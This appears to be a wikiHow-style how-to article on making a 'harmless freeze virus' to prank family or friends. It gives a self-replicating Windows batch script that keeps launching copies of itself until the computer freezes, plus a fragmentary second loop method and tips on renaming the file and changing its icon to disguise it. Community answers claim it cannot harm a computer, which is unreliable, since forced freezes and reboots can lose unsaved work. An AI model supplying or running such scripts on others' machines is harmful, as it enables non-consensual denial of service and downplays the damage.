How to Create a Harmless Freeze Virus

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Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.

Method 1
Method 1 of 2:

Echo Window Prank

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  1. You can also open any other word processor.
  2. It should be "@echo off".
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    • cd %homedrive%/users/%username%/
    • (
    • echo start s.bat
    • )>>s.bat
    • start s.bat
  4. 4
    Save the file. Remember to add the ".bat" extension to the end of the file name.
  5. It will open many pointless windows, but it will freeze the computer.
  6. It will return to normal.
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Method 2
Method 2 of 2:

Endless Loop Prank

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  2. BEGIN.
  5. bat.
  6. It will most likely crash your computer as it continues to spam the help window.
  7. 7
    Stop the virus. You must tap X to do so.
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Community Q&A

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  • Question
    Can this harm my computer?
    Community Answer
    No, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
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    Not Helpful 4 Helpful 42
  • Question
    Will this cause my computer to crash?
    Hello903hello
    Community Answer
    No. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
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    Thank you for your feedback.
    If wikiHow has helped you, please consider a small contribution to support us in helping more readers like you. We’re committed to providing the world with free how-to resources, and even $1 helps us in our mission. Support wikiHow
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    Not Helpful 8 Helpful 22
  • Question
    How do I fix a PC loop program?
    Community Answer
    Right click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
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    Not Helpful 3 Helpful 17
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      Tips

      • You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.
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      • When changing the name, be sure to keep the ".bat" part.
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      • To change the icon of any short cut, right-click on it and select properties. Next, click the change icon. It might give you an error but ignore it and continue. Then select the one you want, and press okay/apply.
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